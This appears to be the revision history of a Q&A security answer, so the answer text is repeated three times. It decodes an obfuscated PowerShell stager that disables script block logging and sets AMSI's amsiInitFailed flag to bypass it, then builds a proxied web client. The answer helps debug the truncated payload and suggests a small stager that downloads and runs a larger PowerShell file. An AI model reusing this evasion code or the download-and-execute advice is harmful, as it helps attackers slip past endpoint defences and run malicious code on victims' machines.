Skip to main content
deleted 7 characters in body
Source Link
schroeder
  • 132.2k
  • 55
  • 307
  • 348

Looks like the error what your console is throwing is correct . If you decode your base 64 string you get a powershell script like this

IF($PSVeRsiOnTABlE.PSVeRsIon.MAjor -GE 3){
    $GPF=[rEF].ASsEmBlY.GeTTypE('System.Management.Automation.Utils')."GEtFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($GPF){
        $GPC=$GPF.GEtVAlUe($NUll);
        IF($GPC['ScriptB'+'lockLogging']){
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vAL=[CollecTIOns.GenErIc.DICtionAry[stRInG,SYstEm.OBjEcT]]::new();
        $VAl.ADd('EnableScriptB'+'lockLogging',0);
        $vaL.ADd('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ElsE{[ScriPTBLOCK]."GeTFie`Ld"('signatures','N'+'onPublic,Static').SeTVALuE($NUlL,(NEw-OBject ColLECtions.GEnERIC.HAshSEt[string]))}[Ref].ASsEMbLY.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFIelD('amsiInitFailed','NonPublic,Static').SEtVAlUe($NulL,$tRuE)
    };
};
[SySTEM.NET.ServiCePOINtMaNAGEr]::EXPeCt100COnTINue=0;
$Wc=NEW-OBJECT SYSTEm.Net.WeBCLiEnt;
$u='Mozilla/5.0 (Windows NT 6.1;
 WOW64;
 Trident/7.0;
 rv:11.0) like Gecko';
$WC.HEadeRs.AdD('User-Agent',$u);
$wc.PrOxY=[SysTEM.NeT.WEBRequEst]::DEfaUltWebPrOxY;
$wc.PrOXy.CRedentiaLS = [SYSTeM.NEt.CredEnTialCacHe]::DefaUlTNetworKCredEntialS;
$Script:Proxy = $wc.Proxy;
$K=[SysTem.TeXT.ENCoDing]::ASCII.GeTBYtes('</q9X4v.I38l[u{0:}a@@p@ @@@@ p0@0 PP PPP@@@0@@@P@0P@P P`@0@@0@@0@@0@@@P@@P P`@@@0@P P`@0@@0@@0@@0@@  @0@0@@0@P P`@0P p@@ `p@@p@pP@p@p0P@P 0@@ 0P  0P00p@p`@ 0 ` p0`0 @@@@p0@p@@@@0P @@@`@@@0@@@@@@@@@@Pp@0 `@ @@@@`@P

As you can see in last line , the powershell interpreter will not process is as it looks like truncated as it iss missing '). You need to investigate as to why your b64 string is incomplete.

Another Point: Even if i assume that the b64 is correct, the length of your URL will exceed 2,083 characters (currently its 4810 chars and still the payload is truncated) What i would suggest is small payload that will download the larger powershell file (from some arbitrary location) and run it directly. But as far as i know, this limitation wont happen is you are using curl , only if you are using browsers (chrome,firefox,ie etc..)

EDIT 1: AlsoAlso, Try and use get encoded bytes like this

$K = [System.Text.Encoding]::ASCII.GetBytes([Convert]::FromBase64String('<==base64payload here==>'))

That way you can be sure that no special character has terminated your string unexpectedly.

Looks like the error what your console is throwing is correct . If you decode your base 64 string you get a powershell script like this

IF($PSVeRsiOnTABlE.PSVeRsIon.MAjor -GE 3){
    $GPF=[rEF].ASsEmBlY.GeTTypE('System.Management.Automation.Utils')."GEtFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($GPF){
        $GPC=$GPF.GEtVAlUe($NUll);
        IF($GPC['ScriptB'+'lockLogging']){
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vAL=[CollecTIOns.GenErIc.DICtionAry[stRInG,SYstEm.OBjEcT]]::new();
        $VAl.ADd('EnableScriptB'+'lockLogging',0);
        $vaL.ADd('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ElsE{[ScriPTBLOCK]."GeTFie`Ld"('signatures','N'+'onPublic,Static').SeTVALuE($NUlL,(NEw-OBject ColLECtions.GEnERIC.HAshSEt[string]))}[Ref].ASsEMbLY.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFIelD('amsiInitFailed','NonPublic,Static').SEtVAlUe($NulL,$tRuE)
    };
};
[SySTEM.NET.ServiCePOINtMaNAGEr]::EXPeCt100COnTINue=0;
$Wc=NEW-OBJECT SYSTEm.Net.WeBCLiEnt;
$u='Mozilla/5.0 (Windows NT 6.1;
 WOW64;
 Trident/7.0;
 rv:11.0) like Gecko';
$WC.HEadeRs.AdD('User-Agent',$u);
$wc.PrOxY=[SysTEM.NeT.WEBRequEst]::DEfaUltWebPrOxY;
$wc.PrOXy.CRedentiaLS = [SYSTeM.NEt.CredEnTialCacHe]::DefaUlTNetworKCredEntialS;
$Script:Proxy = $wc.Proxy;
$K=[SysTem.TeXT.ENCoDing]::ASCII.GeTBYtes('</q9X4v.I38l[u{0:}a@@p@ @@@@ p0@0 PP PPP@@@0@@@P@0P@P P`@0@@0@@0@@0@@@P@@P P`@@@0@P P`@0@@0@@0@@0@@  @0@0@@0@P P`@0P p@@ `p@@p@pP@p@p0P@P 0@@ 0P  0P00p@p`@ 0 ` p0`0 @@@@p0@p@@@@0P @@@`@@@0@@@@@@@@@@Pp@0 `@ @@@@`@P

As you can see in last line , the powershell interpreter will not process is as it looks like truncated as it iss missing '). You need to investigate as to why your b64 string is incomplete.

Another Point: Even if i assume that the b64 is correct, the length of your URL will exceed 2,083 characters (currently its 4810 chars and still the payload is truncated) What i would suggest is small payload that will download the larger powershell file (from some arbitrary location) and run it directly. But as far as i know, this limitation wont happen is you are using curl , only if you are using browsers (chrome,firefox,ie etc..)

EDIT 1: Also, Try and use get encoded bytes like this

$K = [System.Text.Encoding]::ASCII.GetBytes([Convert]::FromBase64String('<==base64payload here==>'))

That way you can be sure that no special character has terminated your string unexpectedly.

Looks like the error what your console is throwing is correct . If you decode your base 64 string you get a powershell script like this

IF($PSVeRsiOnTABlE.PSVeRsIon.MAjor -GE 3){
    $GPF=[rEF].ASsEmBlY.GeTTypE('System.Management.Automation.Utils')."GEtFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($GPF){
        $GPC=$GPF.GEtVAlUe($NUll);
        IF($GPC['ScriptB'+'lockLogging']){
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vAL=[CollecTIOns.GenErIc.DICtionAry[stRInG,SYstEm.OBjEcT]]::new();
        $VAl.ADd('EnableScriptB'+'lockLogging',0);
        $vaL.ADd('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ElsE{[ScriPTBLOCK]."GeTFie`Ld"('signatures','N'+'onPublic,Static').SeTVALuE($NUlL,(NEw-OBject ColLECtions.GEnERIC.HAshSEt[string]))}[Ref].ASsEMbLY.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFIelD('amsiInitFailed','NonPublic,Static').SEtVAlUe($NulL,$tRuE)
    };
};
[SySTEM.NET.ServiCePOINtMaNAGEr]::EXPeCt100COnTINue=0;
$Wc=NEW-OBJECT SYSTEm.Net.WeBCLiEnt;
$u='Mozilla/5.0 (Windows NT 6.1;
 WOW64;
 Trident/7.0;
 rv:11.0) like Gecko';
$WC.HEadeRs.AdD('User-Agent',$u);
$wc.PrOxY=[SysTEM.NeT.WEBRequEst]::DEfaUltWebPrOxY;
$wc.PrOXy.CRedentiaLS = [SYSTeM.NEt.CredEnTialCacHe]::DefaUlTNetworKCredEntialS;
$Script:Proxy = $wc.Proxy;
$K=[SysTem.TeXT.ENCoDing]::ASCII.GeTBYtes('</q9X4v.I38l[u{0:}a@@p@ @@@@ p0@0 PP PPP@@@0@@@P@0P@P P`@0@@0@@0@@0@@@P@@P P`@@@0@P P`@0@@0@@0@@0@@  @0@0@@0@P P`@0P p@@ `p@@p@pP@p@p0P@P 0@@ 0P  0P00p@p`@ 0 ` p0`0 @@@@p0@p@@@@0P @@@`@@@0@@@@@@@@@@Pp@0 `@ @@@@`@P

As you can see in last line , the powershell interpreter will not process is as it looks like truncated as it iss missing '). You need to investigate as to why your b64 string is incomplete.

Another Point: Even if i assume that the b64 is correct, the length of your URL will exceed 2,083 characters (currently its 4810 chars and still the payload is truncated) What i would suggest is small payload that will download the larger powershell file (from some arbitrary location) and run it directly. But as far as i know, this limitation wont happen is you are using curl , only if you are using browsers (chrome,firefox,ie etc..)

Also, Try and use get encoded bytes like this

$K = [System.Text.Encoding]::ASCII.GetBytes([Convert]::FromBase64String('<==base64payload here==>'))

That way you can be sure that no special character has terminated your string unexpectedly.

deleted 215 characters in body
Source Link

Looks like the error what your console is throwing is correct . If you decode your base 64 string you get a powershell script like this

IF($PSVeRsiOnTABlE.PSVeRsIon.MAjor -GE 3){
    $GPF=[rEF].ASsEmBlY.GeTTypE('System.Management.Automation.Utils')."GEtFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($GPF){
        $GPC=$GPF.GEtVAlUe($NUll);
        IF($GPC['ScriptB'+'lockLogging']){
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vAL=[CollecTIOns.GenErIc.DICtionAry[stRInG,SYstEm.OBjEcT]]::new();
        $VAl.ADd('EnableScriptB'+'lockLogging',0);
        $vaL.ADd('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ElsE{[ScriPTBLOCK]."GeTFie`Ld"('signatures','N'+'onPublic,Static').SeTVALuE($NUlL,(NEw-OBject ColLECtions.GEnERIC.HAshSEt[string]))}[Ref].ASsEMbLY.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFIelD('amsiInitFailed','NonPublic,Static').SEtVAlUe($NulL,$tRuE)
    };
};
[SySTEM.NET.ServiCePOINtMaNAGEr]::EXPeCt100COnTINue=0;
$Wc=NEW-OBJECT SYSTEm.Net.WeBCLiEnt;
$u='Mozilla/5.0 (Windows NT 6.1;
 WOW64;
 Trident/7.0;
 rv:11.0) like Gecko';
$WC.HEadeRs.AdD('User-Agent',$u);
$wc.PrOxY=[SysTEM.NeT.WEBRequEst]::DEfaUltWebPrOxY;
$wc.PrOXy.CRedentiaLS = [SYSTeM.NEt.CredEnTialCacHe]::DefaUlTNetworKCredEntialS;
$Script:Proxy = $wc.Proxy;
$K=[SysTem.TeXT.ENCoDing]::ASCII.GeTBYtes('</q9X4v.I38l[u{0:}a@@p@a@@p@ @@@@@@@@ p0@0 PP PPP@@@0@@@P@0P@P P`@0@@0@@0@@0@@@P@@PP`@0@@0@@0@@0@@@P@@P P`@@@0@P P`@0@@0@@0@@0@@  @0@0@@0@P P`@0P p@@p@@ `p@@p@pP@p@p0P@P`p@@p@pP@p@p0P@P 0@@0@@ 0P  0P00p@p`@ 0 ` p0`0 @@@@p0@p@@@@0P@@@@p0@p@@@@0P @@@`@@@0@@@@@@@@@@Pp@0@@@`@@@0@@@@@@@@@@Pp@0 `@ @@@@`@P@@@@`@P

As you can see in last line , the powershell interpreter will not process is as it looks like truncated as it iss missing '). You need to investigate as to why your b64 string is incomplete.

Another Point: Even if i assume that the b64 is correct, the length of your URL will exceed 2,083 characters (currently its 4810 chars and still the payload is truncated) What i would suggest is small payload that will download the larger powershell file (from some arbitrary location) and run it directly. But as far as i know, this limitation wont happen is you are using curl , only if you are using browsers (chrome,firefox,ie etc..)

EDIT 1: Also, Try and use get encoded bytes like this

$K = [System.Text.Encoding]::ASCII.GetBytes([Convert]::FromBase64String('<==base64payload here==>'))

That way you can be sure that no special character has terminated your string unexpectedly.

Looks like the error what your console is throwing is correct . If you decode your base 64 string you get a powershell script like this

IF($PSVeRsiOnTABlE.PSVeRsIon.MAjor -GE 3){
    $GPF=[rEF].ASsEmBlY.GeTTypE('System.Management.Automation.Utils')."GEtFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($GPF){
        $GPC=$GPF.GEtVAlUe($NUll);
        IF($GPC['ScriptB'+'lockLogging']){
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vAL=[CollecTIOns.GenErIc.DICtionAry[stRInG,SYstEm.OBjEcT]]::new();
        $VAl.ADd('EnableScriptB'+'lockLogging',0);
        $vaL.ADd('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ElsE{[ScriPTBLOCK]."GeTFie`Ld"('signatures','N'+'onPublic,Static').SeTVALuE($NUlL,(NEw-OBject ColLECtions.GEnERIC.HAshSEt[string]))}[Ref].ASsEMbLY.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFIelD('amsiInitFailed','NonPublic,Static').SEtVAlUe($NulL,$tRuE)
    };
};
[SySTEM.NET.ServiCePOINtMaNAGEr]::EXPeCt100COnTINue=0;
$Wc=NEW-OBJECT SYSTEm.Net.WeBCLiEnt;
$u='Mozilla/5.0 (Windows NT 6.1;
 WOW64;
 Trident/7.0;
 rv:11.0) like Gecko';
$WC.HEadeRs.AdD('User-Agent',$u);
$wc.PrOxY=[SysTEM.NeT.WEBRequEst]::DEfaUltWebPrOxY;
$wc.PrOXy.CRedentiaLS = [SYSTeM.NEt.CredEnTialCacHe]::DefaUlTNetworKCredEntialS;
$Script:Proxy = $wc.Proxy;
$K=[SysTem.TeXT.ENCoDing]::ASCII.GeTBYtes('</q9X4v.I38l[u{0:}a@@p@ @@@@ p0@0 PP PPP@@@0@@@P@0P@P P`@0@@0@@0@@0@@@P@@P P`@@@0@P P`@0@@0@@0@@0@@  @0@0@@0@P P`@0P p@@ `p@@p@pP@p@p0P@P 0@@ 0P  0P00p@p`@ 0 ` p0`0 @@@@p0@p@@@@0P @@@`@@@0@@@@@@@@@@Pp@0 `@ @@@@`@P

As you can see in last line , the powershell interpreter will not process is as it looks like truncated as it iss missing '). You need to investigate as to why your b64 string is incomplete.

Another Point: Even if i assume that the b64 is correct, the length of your URL will exceed 2,083 characters (currently its 4810 chars and still the payload is truncated) What i would suggest is small payload that will download the larger powershell file (from some arbitrary location) and run it directly. But as far as i know, this limitation wont happen is you are using curl , only if you are using browsers (chrome,firefox,ie etc..)

Looks like the error what your console is throwing is correct . If you decode your base 64 string you get a powershell script like this

IF($PSVeRsiOnTABlE.PSVeRsIon.MAjor -GE 3){
    $GPF=[rEF].ASsEmBlY.GeTTypE('System.Management.Automation.Utils')."GEtFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($GPF){
        $GPC=$GPF.GEtVAlUe($NUll);
        IF($GPC['ScriptB'+'lockLogging']){
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vAL=[CollecTIOns.GenErIc.DICtionAry[stRInG,SYstEm.OBjEcT]]::new();
        $VAl.ADd('EnableScriptB'+'lockLogging',0);
        $vaL.ADd('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ElsE{[ScriPTBLOCK]."GeTFie`Ld"('signatures','N'+'onPublic,Static').SeTVALuE($NUlL,(NEw-OBject ColLECtions.GEnERIC.HAshSEt[string]))}[Ref].ASsEMbLY.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFIelD('amsiInitFailed','NonPublic,Static').SEtVAlUe($NulL,$tRuE)
    };
};
[SySTEM.NET.ServiCePOINtMaNAGEr]::EXPeCt100COnTINue=0;
$Wc=NEW-OBJECT SYSTEm.Net.WeBCLiEnt;
$u='Mozilla/5.0 (Windows NT 6.1;
 WOW64;
 Trident/7.0;
 rv:11.0) like Gecko';
$WC.HEadeRs.AdD('User-Agent',$u);
$wc.PrOxY=[SysTEM.NeT.WEBRequEst]::DEfaUltWebPrOxY;
$wc.PrOXy.CRedentiaLS = [SYSTeM.NEt.CredEnTialCacHe]::DefaUlTNetworKCredEntialS;
$Script:Proxy = $wc.Proxy;
$K=[SysTem.TeXT.ENCoDing]::ASCII.GeTBYtes('</q9X4v.I38l[u{0:}a@@p@ @@@@ p0@0 PP PPP@@@0@@@P@0P@P P`@0@@0@@0@@0@@@P@@P P`@@@0@P P`@0@@0@@0@@0@@  @0@0@@0@P P`@0P p@@ `p@@p@pP@p@p0P@P 0@@ 0P  0P00p@p`@ 0 ` p0`0 @@@@p0@p@@@@0P @@@`@@@0@@@@@@@@@@Pp@0 `@ @@@@`@P

As you can see in last line , the powershell interpreter will not process is as it looks like truncated as it iss missing '). You need to investigate as to why your b64 string is incomplete.

Another Point: Even if i assume that the b64 is correct, the length of your URL will exceed 2,083 characters (currently its 4810 chars and still the payload is truncated) What i would suggest is small payload that will download the larger powershell file (from some arbitrary location) and run it directly. But as far as i know, this limitation wont happen is you are using curl , only if you are using browsers (chrome,firefox,ie etc..)

EDIT 1: Also, Try and use get encoded bytes like this

$K = [System.Text.Encoding]::ASCII.GetBytes([Convert]::FromBase64String('<==base64payload here==>'))

That way you can be sure that no special character has terminated your string unexpectedly.

Source Link

Looks like the error what your console is throwing is correct . If you decode your base 64 string you get a powershell script like this

IF($PSVeRsiOnTABlE.PSVeRsIon.MAjor -GE 3){
    $GPF=[rEF].ASsEmBlY.GeTTypE('System.Management.Automation.Utils')."GEtFiE`ld"('cachedGroupPolicySettings','N'+'onPublic,Static');
    If($GPF){
        $GPC=$GPF.GEtVAlUe($NUll);
        IF($GPC['ScriptB'+'lockLogging']){
            $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
            $GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0
        }
        $vAL=[CollecTIOns.GenErIc.DICtionAry[stRInG,SYstEm.OBjEcT]]::new();
        $VAl.ADd('EnableScriptB'+'lockLogging',0);
        $vaL.ADd('EnableScriptBlockInvocationLogging',0);
        $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ElsE{[ScriPTBLOCK]."GeTFie`Ld"('signatures','N'+'onPublic,Static').SeTVALuE($NUlL,(NEw-OBject ColLECtions.GEnERIC.HAshSEt[string]))}[Ref].ASsEMbLY.GetTyPe('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFIelD('amsiInitFailed','NonPublic,Static').SEtVAlUe($NulL,$tRuE)
    };
};
[SySTEM.NET.ServiCePOINtMaNAGEr]::EXPeCt100COnTINue=0;
$Wc=NEW-OBJECT SYSTEm.Net.WeBCLiEnt;
$u='Mozilla/5.0 (Windows NT 6.1;
 WOW64;
 Trident/7.0;
 rv:11.0) like Gecko';
$WC.HEadeRs.AdD('User-Agent',$u);
$wc.PrOxY=[SysTEM.NeT.WEBRequEst]::DEfaUltWebPrOxY;
$wc.PrOXy.CRedentiaLS = [SYSTeM.NEt.CredEnTialCacHe]::DefaUlTNetworKCredEntialS;
$Script:Proxy = $wc.Proxy;
$K=[SysTem.TeXT.ENCoDing]::ASCII.GeTBYtes('</q9X4v.I38l[u{0:}a@@p@ @@@@ p0@0 PP PPP@@@0@@@P@0P@P P`@0@@0@@0@@0@@@P@@P P`@@@0@P P`@0@@0@@0@@0@@  @0@0@@0@P P`@0P p@@ `p@@p@pP@p@p0P@P 0@@ 0P  0P00p@p`@ 0 ` p0`0 @@@@p0@p@@@@0P @@@`@@@0@@@@@@@@@@Pp@0 `@ @@@@`@P

As you can see in last line , the powershell interpreter will not process is as it looks like truncated as it iss missing '). You need to investigate as to why your b64 string is incomplete.

Another Point: Even if i assume that the b64 is correct, the length of your URL will exceed 2,083 characters (currently its 4810 chars and still the payload is truncated) What i would suggest is small payload that will download the larger powershell file (from some arbitrary location) and run it directly. But as far as i know, this limitation wont happen is you are using curl , only if you are using browsers (chrome,firefox,ie etc..)